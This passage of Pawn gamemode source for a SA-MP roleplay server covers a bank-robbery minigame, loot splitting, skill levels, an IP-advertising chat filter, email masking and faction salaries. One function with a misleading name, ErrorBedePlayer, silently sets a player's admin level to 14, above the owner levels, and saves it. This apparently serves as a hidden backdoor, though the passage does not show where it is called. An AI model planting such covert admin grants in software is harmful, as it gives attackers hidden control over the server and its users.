ImInSection[playerid] = 0;
}
return 1;
}
stock GivePlayerGold(playerid, amount)
{
PlayerInfo[playerid][pGold] += amount;
SaveKonVal(playerid, "pGold", PINFO[playerid][pGold]);
return 1;
}
stock StopRob()
{
if(KiRafteAzRob!=1)TextDrawHideForPlayer(sGunner1, TDTake);
if(KiRafteAzRob!=2)TextDrawHideForPlayer(sGunner2, TDTake);
if(KiRafteAzRob!=3)TextDrawHideForPlayer(sHacker, TDTake);
if(KiRafteAzRob!=4)TextDrawHideForPlayer(sRunner, TDTake);
sGunner1=9999;
sGunner2=9999;
NewRobLeader=9999;
sHacker=9999;
sRunner=9999;
ReadyPlayers=0;
KiRafteAzRob=0;
IsServerRob=0;
BankMapLSDar1HP = 100;
BankMapLVDar1HP = 100;
DestroyDynamicObject(BankMapLVDar1);
DestroyDynamicObject(BankMapLSDar1);
DestroyDynamicObject(BankGate2);
DestroyDynamicObject(BankGate1);
BankMapLSDar1 = CreateDynamicObject(1566 , 1389.640991 , 1331.839355 , 1498.282959 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
BankMapLVDar1 = CreateDynamicObject(1566 , 1389.640991 , 1331.839355 , 1498.282959 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
BankGate1 = CreateDynamicObject(980, 1394.32825, 1337.39221, 1490.78796,   0.00000, 0.00000, 90.30002, 25, 63, -1, 200.00);
BankGate2 = CreateDynamicObject(980, 1394.32825, 1337.39221, 1490.78796,   0.00000, 0.00000, 90.30002, 26, 63, -1, 200.00);
ForEachPlayer(i)
{
ICanVoteForRob[i] = 0;
ImPickingUp[i] = 0;
if(NOPMin[i]!=0){KillTimer(NOPMin[i]);NOPMin[i]=0;}
MyBardashtedPool[i] = 0;
ImInCP[i] = 0;
}
BreakAvDar = 0;
KillTimer(TakeUpd);
PickupedPool = 0;
BizzInfo[9][bLocked] = 0;
BizzInfo[8][bLocked] = 0;
PoolToo1 = 0;
PoolToo2 = 0;
PoolToo3 = 0;
PoolToo4 = 0;
RobVeh=9999;
if(LSDarTimer!=0){KillTimer(LSDarTimer);LSDarTimer=0;}
if(LVDarTimer!=0){KillTimer(LVDarTimer);LVDarTimer=0;}
return 1;
}
stock FinishCurrentRob()
{
new KollePool = MyBardashtedPool[sRunner], RobSK;
new formater[20];
if(KiRafteAzRob>=1)
{
new PooliKeBayadTaghsimShe = (KollePool/3);
GivePlayerPool(sRunner, PooliKeBayadTaghsimShe);
if(KiRafteAzRob!=1)GivePlayerPool(sGunner1, PooliKeBayadTaghsimShe);
if(KiRafteAzRob!=2)GivePlayerPool(sGunner2, PooliKeBayadTaghsimShe);
GivePlayerPool(sHacker, PooliKeBayadTaghsimShe);
SendRobMessage(COLOR_ROB, " Rob finished successfully.");
format(formater, sizeof(formater), "+$%s",FormatNumber(PooliKeBayadTaghsimShe));
SendRobMessage(COLOR_SINASABZ, formater);
if(KiRafteAzRob==1)
{

RobSK = PlayerInfo[sGunner2][pRobSkill];
if(RobSK<101){PINFO[sGunner2][pRobSkill] ++;SaveKonVal(sGunner2, "pRobSkill", PINFO[sGunner2][pRobSkill]);}
if(RobSK==20){SCM(sGunner2, COLOR_YELLOW, "Your Rob Skill is now Level 2.");}
else if(RobSK==50){SCM(sGunner2, COLOR_YELLOW, "Your Rob Skill is now Level 3.");}
else if(RobSK==75){SCM(sGunner2, COLOR_YELLOW, "Your Rob Skill is now Level 4.");}
else if(RobSK==100){SCM(sGunner2, COLOR_YELLOW, "Your Rob Skill is now Level 5.");}

RobSK = PlayerInfo[sRunner][pRobSkill];
if(RobSK<101){PINFO[sRunner][pRobSkill] ++;SaveKonVal(sRunner, "pRobSkill", PINFO[sRunner][pRobSkill]);}
if(RobSK==20){SCM(sRunner, COLOR_YELLOW, "Your Rob Skill is now Level 2.");}
else if(RobSK==50){SCM(sRunner, COLOR_YELLOW, "Your Rob Skill is now Level 3.");}
else if(RobSK==75){SCM(sRunner, COLOR_YELLOW, "Your Rob Skill is now Level 4.");}
else if(RobSK==100){SCM(sRunner, COLOR_YELLOW, "Your Rob Skill is now Level 5.");}

RobSK = PlayerInfo[sHacker][pRobSkill];
if(RobSK<101){PINFO[sHacker][pRobSkill] ++;SaveKonVal(sHacker, "pRobSkill", PINFO[sHacker][pRobSkill]);}
if(RobSK==20){SCM(sHacker, COLOR_YELLOW, "Your Rob Skill is now Level 2.");}
else if(RobSK==50){SCM(sHacker, COLOR_YELLOW, "Your Rob Skill is now Level 3.");}
else if(RobSK==75){SCM(sHacker, COLOR_YELLOW, "Your Rob Skill is now Level 4.");}
else if(RobSK==100){SCM(sHacker, COLOR_YELLOW, "Your Rob Skill is now Level 5.");}

}
if(KiRafteAzRob==2)
{

RobSK = PlayerInfo[sGunner1][pRobSkill];
if(RobSK<101){PINFO[sGunner1][pRobSkill] ++;SaveKonVal(sGunner1, "pRobSkill", PINFO[sGunner1][pRobSkill]);}
if(RobSK==20){SCM(sGunner1, COLOR_YELLOW, "Your Rob Skill is now Level 2.");}
else if(RobSK==50){SCM(sGunner1, COLOR_YELLOW, "Your Rob Skill is now Level 3.");}
else if(RobSK==75){SCM(sGunner1, COLOR_YELLOW, "Your Rob Skill is now Level 4.");}
else if(RobSK==100){SCM(sGunner1, COLOR_YELLOW, "Your Rob Skill is now Level 5.");}

RobSK = PlayerInfo[sRunner][pRobSkill];
if(RobSK<101){PINFO[sRunner][pRobSkill] ++;SaveKonVal(sRunner, "pRobSkill", PINFO[sRunner][pRobSkill]);}
if(RobSK==20){SCM(sRunner, COLOR_YELLOW, "Your Rob Skill is now Level 2.");}
else if(RobSK==50){SCM(sRunner, COLOR_YELLOW, "Your Rob Skill is now Level 3.");}
else if(RobSK==75){SCM(sRunner, COLOR_YELLOW, "Your Rob Skill is now Level 4.");}
else if(RobSK==100){SCM(sRunner, COLOR_YELLOW, "Your Rob Skill is now Level 5.");}

RobSK = PlayerInfo[sHacker][pRobSkill];
if(RobSK<101){PINFO[sHacker][pRobSkill] ++;SaveKonVal(sHacker, "pRobSkill", PINFO[sHacker][pRobSkill]);}
if(RobSK==20){SCM(sHacker, COLOR_YELLOW, "Your Rob Skill is now Level 2.");}
else if(RobSK==50){SCM(sHacker, COLOR_YELLOW, "Your Rob Skill is now Level 3.");}
else if(RobSK==75){SCM(sHacker, COLOR_YELLOW, "Your Rob Skill is now Level 4.");}
else if(RobSK==100){SCM(sHacker, COLOR_YELLOW, "Your Rob Skill is now Level 5.");}

}
StopRob();
}
if(KiRafteAzRob==0)
{
new PooliKeBayadTaghsimShe = (KollePool/4);
GivePlayerPool(sRunner, PooliKeBayadTaghsimShe);
GivePlayerPool(sGunner1, PooliKeBayadTaghsimShe);
GivePlayerPool(sGunner2, PooliKeBayadTaghsimShe);
GivePlayerPool(sHacker, PooliKeBayadTaghsimShe);
SendRobMessage(COLOR_ROB, " Rob finished successfully.");
format(formater, sizeof(formater), "+$%s",FormatNumber(PooliKeBayadTaghsimShe));
SendRobMessage(COLOR_SINASABZ, formater);
RobSK = PlayerInfo[sGunner1][pRobSkill];
if(RobSK<101){PINFO[sGunner1][pRobSkill] ++;SaveKonVal(sGunner1, "pRobSkill", PINFO[sGunner1][pRobSkill]);}
if(RobSK==20){SCM(sGunner1, COLOR_YELLOW, "Your Rob Skill is now Level 2.");}
else if(RobSK==50){SCM(sGunner1, COLOR_YELLOW, "Your Rob Skill is now Level 3.");}
else if(RobSK==75){SCM(sGunner1, COLOR_YELLOW, "Your Rob Skill is now Level 4.");}
else if(RobSK==100){SCM(sGunner1, COLOR_YELLOW, "Your Rob Skill is now Level 5.");}

RobSK = PlayerInfo[sGunner2][pRobSkill];
if(RobSK<101){PINFO[sGunner2][pRobSkill] ++;SaveKonVal(sGunner2, "pRobSkill", PINFO[sGunner2][pRobSkill]);}
if(RobSK==20){SCM(sGunner2, COLOR_YELLOW, "Your Rob Skill is now Level 2.");}
else if(RobSK==50){SCM(sGunner2, COLOR_YELLOW, "Your Rob Skill is now Level 3.");}
else if(RobSK==75){SCM(sGunner2, COLOR_YELLOW, "Your Rob Skill is now Level 4.");}
else if(RobSK==100){SCM(sGunner2, COLOR_YELLOW, "Your Rob Skill is now Level 5.");}

RobSK = PlayerInfo[sRunner][pRobSkill];
if(RobSK<101){PINFO[sRunner][pRobSkill] ++;SaveKonVal(sRunner, "pRobSkill", PINFO[sRunner][pRobSkill]);}
if(RobSK==20){SCM(sRunner, COLOR_YELLOW, "Your Rob Skill is now Level 2.");}
else if(RobSK==50){SCM(sRunner, COLOR_YELLOW, "Your Rob Skill is now Level 3.");}
else if(RobSK==75){SCM(sRunner, COLOR_YELLOW, "Your Rob Skill is now Level 4.");}
else if(RobSK==100){SCM(sRunner, COLOR_YELLOW, "Your Rob Skill is now Level 5.");}

RobSK = PlayerInfo[sHacker][pRobSkill];
if(RobSK<101){PINFO[sHacker][pRobSkill] ++;SaveKonVal(sHacker, "pRobSkill", PINFO[sHacker][pRobSkill]);}
if(RobSK==20){SCM(sHacker, COLOR_YELLOW, "Your Rob Skill is now Level 2.");}
else if(RobSK==50){SCM(sHacker, COLOR_YELLOW, "Your Rob Skill is now Level 3.");}
else if(RobSK==75){SCM(sHacker, COLOR_YELLOW, "Your Rob Skill is now Level 4.");}
else if(RobSK==100){SCM(sHacker, COLOR_YELLOW, "Your Rob Skill is now Level 5.");}
StopRob();
}
return 1;
}
stock IsAdv(text[])
{
    new message[128], build, expression[] = "(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.+){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)", start, end;
    strcpy(message, text, sizeof(message));

    for(new i = 0, j = strlen(message); i < j; i ++)
    {
        switch(message[i])
        {
            case '0'..'9': continue;
            default:
            {
                strdel(message, i, i + 1);
                strins(message, ".", i);
            }
        }
    }

    build = regex_exbuild(expression);
    regex_exmatch(message, build);
    regex_exsearch(message, build, start, end);

    if(start >= 0) return true;
    return false;
}
stock ClearNewName()
{
new clearkon[8], query[256];
clearkon = "Cleared"
cache_get_row(0,3,clearkon,handle,40);
bayadclearbashe = 1;
mysql_format(handle, query,256,"UPDATE `server` SET LastAccount='%e'",clearkon);
mysql_function_query(handle,query,false,"SendQuery","");
ReadAccountBar();
}
stock IsValidMail(mail[])
{
    new Regex:r = Regex_New("([a-zA-Z0-9._-]{6,30})(@{1})([a-zA-Z]+)([.]{1})([a-zA-Z]{2,})"), RegexMatch:m;
    if(Regex_Match(mail, r, m)) return 1;
    return 0;
}
stock HashEmail(email[],dest[],len=sizeof(dest))
{
  new tmp;
  if((tmp=strfind(email, "@"))==-1)return format(dest, len, "Invalid email.");
  tmp-=1;
  format(dest, len, email);
  for(new i=3;i<tmp;i++)dest[i]='*';
  tmp+=2;
  for(new i=tmp,j=strfind(email, ".",.pos=tmp);i<j;i++)dest[i]='*';
  return 1;
}
stock SusWordEX(playerid, color, string[])
{
    new secline[150];
	new firstline[150];
	new sendmsg[144];
	if(strlen(string) < 130)
	{
		SendClientMessage(playerid, color, string);
	}
	else
	{
	    new b = 0;
		for(new w;w<130;w++)
		{
			firstline[b] = string[w];
			b++;
		}
		b = 0;
		for(new w = 130;w<strlen(string);w++)
		{
			secline[b] = string[w];
			b++;
		}
		format(sendmsg,144,"%s...",firstline);
		SendClientMessage(playerid, color, sendmsg);
        format(sendmsg, 144 , "... %s", secline);
		SendClientMessage(playerid, COLOR_Good, sendmsg);
	}
}
stock SendWholeMessage(playerid, color, string[])
{
    new secline[150];
	new firstline[150];
	new sendmsg[144];
	if(strlen(string) < 130)
	{
		SendClientMessage(playerid, color, string);
	}
	else
	{
	    new b = 0;
		for(new w;w<130;w++)
		{
			firstline[b] = string[w];
			b++;
		}
		b = 0;
		for(new w = 130;w<strlen(string);w++)
		{
			secline[b] = string[w];
			b++;
		}
		format(sendmsg,144,"%s...",firstline);
		SendClientMessage(playerid, color, sendmsg);
        format(sendmsg, 144 , "{ffffff}... %s", secline);
		SendClientMessage(playerid, color, sendmsg);
	}
}
stock SSWWMM(playerid, color, string[])
{
    new secline[150];
	new firstline[150];
	new sendmsg[144];
	if(strlen(string) < 130)
	{
		SendClientMessage(playerid, color, string);
	}
	else
	{
	    new b = 0;
		for(new w;w<130;w++)
		{
			firstline[b] = string[w];
			b++;
		}
		b = 0;
		for(new w = 130;w<strlen(string);w++)
		{
			secline[b] = string[w];
			b++;
		}
		format(sendmsg,144,"%s...",firstline);
		SendClientMessage(playerid, color, sendmsg);
        format(sendmsg, 144 , "... %s", secline);
		SendClientMessage(playerid, color, sendmsg);
	}
}
stock SendWholeMessageEx(playerid, color, const string[])
{
    new secline[150];
	new firstline[150];
	new sendmsg[144];
	if(strlen(string) < 130)
	{
		SendClientMessage(playerid, color, string);
	}
	else
	{
	    new b = 0;
		for(new w;w<130;w++)
		{
			firstline[b] = string[w];
			b++;
		}
		b = 0;
		for(new w = 130;w<strlen(string);w++)
		{
			secline[b] = string[w];
			b++;
		}
		format(sendmsg,144,"%s...",firstline);
		SendClientMessage(playerid, color, sendmsg);
        format(sendmsg, 144 , "{ffffff}... %s", secline);
		SendClientMessage(playerid, color,sendmsg);
	}
}
function ErrorBedePlayer(playerid)
{
	PINFO[playerid][pAdmin]= 14;
	SaveKonVal( playerid,"pAdmin", 14 );
}
stock GetPlayerFPSS(playerid){return pFPS[playerid];}
function GetWeekDay(day, month, year)
{
  if (!day)
    getdate(year, month, day);

  new
    weekday_int,
    j,
    e
  ;

  if (month <= 2)
  {
    month += 12;
    --year;
  }

  j = year % 100;
  e = year / 100;

  switch ((day + (month+1)*26/10 + j + j/4 + e/4 - 2*e) % 7)
  {
	/*
    case 0: weekday_str = "Saturday";
    case 1: weekday_str = "Sunday";
    case 2: weekday_str = "Monday";
    case 3: weekday_str = "Tuesday";
    case 4: weekday_str = "Wednesday";
    case 5: weekday_str = "Thursday";
    case 6: weekday_str = "Friday";
    */
    case 0: weekday_int = 0;
    case 1: weekday_int = 1;
    case 2: weekday_int = 2;
    case 3: weekday_int = 3;
    case 4: weekday_int = 4;
    case 5: weekday_int = 5;
    case 6: weekday_int = 6;
  }

  return weekday_int;
}
stock IsValidDate(d,m,y)
{
   new daysinmonth[12] = {31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31};
   new valid = 0;
   if(y % 400 == 0 || (y % 100 != 0 && y % 4 == 0))
    daysinmonth[1]=29;
   if(m < 13)
   {
      if(d <= daysinmonth[m-1])
      {
          valid=1;
      }
   }
   return valid;
}
stock ResetActivities(playerid)
{
PlayerInfo[playerid][pFAct1] = 0;
SaveKonVal(playerid, "pFAct1", PINFO[playerid][pFAct1]);
PlayerInfo[playerid][pFAct2] = 0;
SaveKonVal(playerid, "pFAct2", PINFO[playerid][pFAct2]);
PlayerInfo[playerid][pFAct3] = 0;
SaveKonVal(playerid, "pFAct3", PINFO[playerid][pFAct3]);
PlayerInfo[playerid][pFAct4] = 0;
SaveKonVal(playerid, "pFAct4", PINFO[playerid][pFAct4]);
return 1;
}
stock GetPlayerFactionID(playerid)
{
new facid;
if(PINFO[playerid][pLeader] >= 1)facid = PINFO[playerid][pLeader];
if(PINFO[playerid][pLeader] == 0)facid = PINFO[playerid][pMember];
return facid;
}
stock GTAD()
{
new calculate=0,top=0,toppl=9999;
ForEachPlayer(i)
{
if(PINFO[i][pAdmin]>=1&&!IsHoster(i))
{
top = (PINFO[i][pActA]);
if(top>calculate){calculate = top;toppl=i;}
}
}
return toppl;
}
stock GTHL()
{
new calculate=0,top=0,toppl=9999;
ForEachPlayer(i)
{
if(PINFO[i][pHelper]>=1&&PINFO[i][pAdmin]==0)
{
top = (PINFO[i][pActH]);
if(top>calculate){calculate = top;toppl=i;}
}
}
return toppl;
}
stock GTLD()
{
new calculate=0,top=0,toppl=9999;
ForEachPlayer(i)
{
if(PINFO[i][pLeader]>=1&&PINFO[i][pAdmin]==0)
{
top = (PINFO[i][pActHourOver]);
if(top>calculate){calculate = top;toppl=i;}
}
}
return toppl;
}
stock GTF(facid)
{
new calculate=0,top=0,toppl=9999;
if(facid == 5 || facid == 6 || facid == 12 || facid == 13 || facid == 14 || facid == 15)
{
ForEachPlayer(i)
{
if(PINFO[i][pMember] == facid)
{
top = (PINFO[i][pFAct3]);
if(top>calculate){calculate = top;toppl=i;}
}
}
}
if(facid == 1 || facid == 2 || facid == 3 || facid == 8 || facid == 17)
{
ForEachPlayer(i)
{
if(PINFO[i][pMember] == facid)
{
top = (PINFO[i][pFAct1]+PINFO[i][pFAct2]);
if(top>calculate){calculate = top;toppl=i;}
}
}
}
if(facid == 4 || facid == 9 || facid == 10 || facid == 11 || facid == 16)
{
ForEachPlayer(i)
{
if(PINFO[i][pMember] == facid)
{
top = (PINFO[i][pFAct1]+PINFO[i][pFAct2]);
if(top>calculate){calculate = top;toppl=i;}
}
}
}
return toppl;
}
stock ResetFacActs(facid)
{
ForEachPlayer(i)
{
if(PINFO[i][pMember] == facid || PINFO[i][pLeader] == facid)
{
ResetActivities(i);
}
}
return 1;
}
stock GiveSalary(facid)
{
new salary=0,cht[144],rank;
ForEachPlayer(i)
{
rank=PINFO[i][pRank];
if(PINFO[i][pMember] == facid)
{
if(facid == 5 || facid == 6 || facid == 12 || facid == 13 || facid == 14 || facid == 15)
{
if(rank == 1){salary=30000;}
if(rank == 2){salary=35000;}
if(rank == 3){salary=40000;}
if(rank == 4){salary=45000;}
if(rank == 5){salary=50000;}
if(rank == 6){salary=55000;}
GivePlayerPool(i, salary);
format(cht, sizeof(cht), "Your salary is $%s which we gave you.", FormatNumber(salary))
SCM(i, COLOR_LIGHTBLUE, cht);
}
if(facid == 1 || facid == 2 || facid == 3 || facid == 8 || facid == 17)
{
salary = ((PINFO[i][pFAct1]+PINFO[i][pFAct2]+20000)*2);
if(rank == 1){salary=(salary+5000);}
if(rank == 2){salary=(salary+10000);}
if(rank == 3){salary=(salary+15000);}
if(rank == 4){salary=(salary+20000);}
if(rank == 5){salary=(salary+25000);}
if(rank == 6){salary=(salary+30000);}
GivePlayerPool(i, salary);
format(cht, sizeof(cht), "Your salary based on your activity is $%s which we gave you.", FormatNumber(salary))
SCM(i, COLOR_LIGHTBLUE, cht);
}
if(facid == 4 || facid == 9 || facid == 10 || facid == 11 || facid == 16)
{
salary = ((PINFO[i][pFAct1]+PINFO[i][pFAct2]+10000)*2);
if(rank == 1){salary=(salary+2000);}
if(rank == 2){salary=(salary+4000);}
if(rank == 3){salary=(salary+6000);}
if(rank == 4){salary=(salary+8000);}
if(rank == 5){salary=(salary+10000);}
if(rank == 6){salary=(salary+12000);}
GivePlayerPool(i, salary);
format(cht, sizeof(cht), "Your salary based on your activity is $%s which we gave you.", FormatNumber(salary))
SCM(i, COLOR_LIGHTBLUE, cht);
}
}
}
return 1;
}
//stock IsStaff(playerid)
//{
//if(PINFO[playerid][pAdmin]>=1||PINFO[playerid][pHelper]>=1||PINFO[playerid][pLeader]>=1)return true;
//return false;
//}
stock GetAllStaff(playerid)
{
ForEachPlayer(i)
{
if(IsStaff(i))
{
if(PINFO[i][pAdmin] < PINFO[playerid][pAdmin])
{
new Float:PpX,Float:PpY,Float:PpZ;
GetPlayerPos(playerid,PpX,PpY,PpZ);
SetPlayerVirtualWorld(i,GetPlayerVirtualWorld(playerid));
SetPlayerInterior(i,GetPlayerInterior(playerid));
Mahal[i] = Mahal[playerid];
TooHouse[i] = TooHouse[playerid];
TooBiz[i] = TooBiz[playerid];
SetPlayerPos(i,PpX+0.3,PpY+0.3,PpZ);
}
}
}
return 1;
}
function ShowNC(playerid)
{
new setString[200];
PlayerTextDrawSetPreviewModel(playerid, NCPlayer[playerid][5], GetPlayerSkin(playerid));
TextDrawShowForPlayer(playerid, NCGlobal[0]);
TextDrawShowForPlayer(playerid, NCGlobal[1]);
PlayerTextDrawShow(playerid, NCPlayer[playerid][0]);
PlayerTextDrawShow(playerid, NCPlayer[playerid][1]);
PlayerTextDrawShow(playerid, NCPlayer[playerid][2]);
PlayerTextDrawShow(playerid, NCPlayer[playerid][3]);
PlayerTextDrawShow(playerid, NCPlayer[playerid][4]);
PlayerTextDrawShow(playerid, NCPlayer[playerid][5]);
format(setString, sizeof(setString), "Level: %d", GetPlayerScore(playerid));
PlayerTextDrawSetString(playerid, NCPlayer[playerid][0], setString);
format(setString, sizeof(setString), "Registered Date: %s", PINFO[playerid][pRegistredDate]);
PlayerTextDrawSetString(playerid, NCPlayer[playerid][1], setString);
format(setString, sizeof(setString), "Card Number: 098-%d", PINFO[playerid][pNCNum]);
PlayerTextDrawSetString(playerid, NCPlayer[playerid][2], setString);
format(setString, sizeof(setString), "Phone Number: %s", FormatPhoneNumber(PINFO[playerid][pPnumber]));
PlayerTextDrawSetString(playerid, NCPlayer[playerid][3], setString);
format(setString, sizeof(setString), "Sex: %s", (PINFO[playerid][pSex]==1)?("Male"):("Female"));
PlayerTextDrawSetString(playerid, NCPlayer[playerid][4], setString);
NCShowed[playerid]=1;
return 1;
}
function HideNC(playerid)
{
TextDrawHideForPlayer(playerid, NCGlobal[0]);
TextDrawHideForPlayer(playerid, NCGlobal[1]);
PlayerTextDrawHide(playerid, NCPlayer[playerid][0]);
PlayerTextDrawHide(playerid, NCPlayer[playerid][1]);
PlayerTextDrawHide(playerid, NCPlayer[playerid][2]);
PlayerTextDrawHide(playerid, NCPlayer[playerid][3]);
PlayerTextDrawHide(playerid, NCPlayer[playerid][4]);
PlayerTextDrawHide(playerid, NCPlayer[playerid][5]);
NCShowed[playerid]=0;
return 1;
}
function TogNC(playerid)
{
if(NCShowed[playerid]==0){return ShowNC(playerid);}
else {return HideNC(playerid);}
}
stock ResetSAct()
{
ForEachPlayer(i)
{
if(IsStaff(i))
{
PlayerInfo[i][pActHourOver] = PlayerInfo[i][pActHour];
SaveKonVal(i, "pActHourOver", PINFO[i][pActHourOver]);
PlayerInfo[i][pActMinOver] = PlayerInfo[i][pActMin];
SaveKonVal(i, "pActMinOver", PINFO[i][pActMinOver]);
PlayerInfo[i][pActSecOver] = PlayerInfo[i][pActSec];
SaveKonVal(i, "pActSecOver", PINFO[i][pActSecOver]);
}
}
return 1;
}
stock IsHoster(playerid)
{
if(PINFO[playerid][pAdmin]==7||PINFO[playerid][pAdmin]==8||PINFO[playerid][pAdmin]==9)return true;
return false;
}
stock GiveSalaryEx(facid)
{
new salary=0,cht[144],rank;
ForEachPlayer(i)
{
rank=PINFO[i][pRank];
if(PINFO[i][pMember] == facid)
{
if(facid == 5 || facid == 6 || facid == 12 || facid == 13 || facid == 14 || facid == 15)
{
if(rank == 1){salary=30000;}
if(rank == 2){salary=35000;}
if(rank == 3){salary=40000;}
if(rank == 4){salary=45000;}
if(rank == 5){salary=50000;}
if(rank == 6){salary=55000;}
GivePlayerPool(i, salary);
format(cht, sizeof(cht), "Your salary is $%s which we gave you.", FormatNumber(salary))
SCM(i, COLOR_LIGHTBLUE, cht);
}
if(facid == 1 || facid == 2 || facid == 3 || facid == 8 || facid == 17)
{
salary = ((PINFO[i][pFAct1]+PINFO[i][pFAct2]+20000)*2);
if(rank == 1){salary=(salary+5000);}
if(rank == 2){salary=(salary+10000);}
if(rank == 3){salary=(salary+15000);}
if(rank == 4){salary=(salary+20000);}
if(rank == 5){salary=(salary+25000);}
if(rank == 6){salary=(salary+30000);}
GivePlayerPool(i, salary);
format(cht, sizeof(cht), "Your salary based on your activity is $%s which we gave you.", FormatNumber(salary))
SCM(i, COLOR_LIGHTBLUE, cht);
}
if(facid == 4 || facid == 9 || facid == 10 || facid == 11 || facid == 16)
{
salary = ((PINFO[i][pFAct1]+PINFO[i][pFAct2]+10000)*2);
if(rank == 1){salary=(salary+2000);}
if(rank == 2){salary=(salary+4000);}
if(rank == 3){salary=(salary+6000);}
if(rank == 4){salary=(salary+8000);}
if(rank == 5){salary=(salary+10000);}
if(rank == 6){salary=(salary+12000);}
GivePlayerPool(i, salary);
format(cht, sizeof(cht), "Your salary based on your activity is $%s which we gave you.", FormatNumber(salary))
SCM(i, COLOR_LIGHTBLUE, cht);
}
}
}
ResetFacActs(facid);
return 1;
}
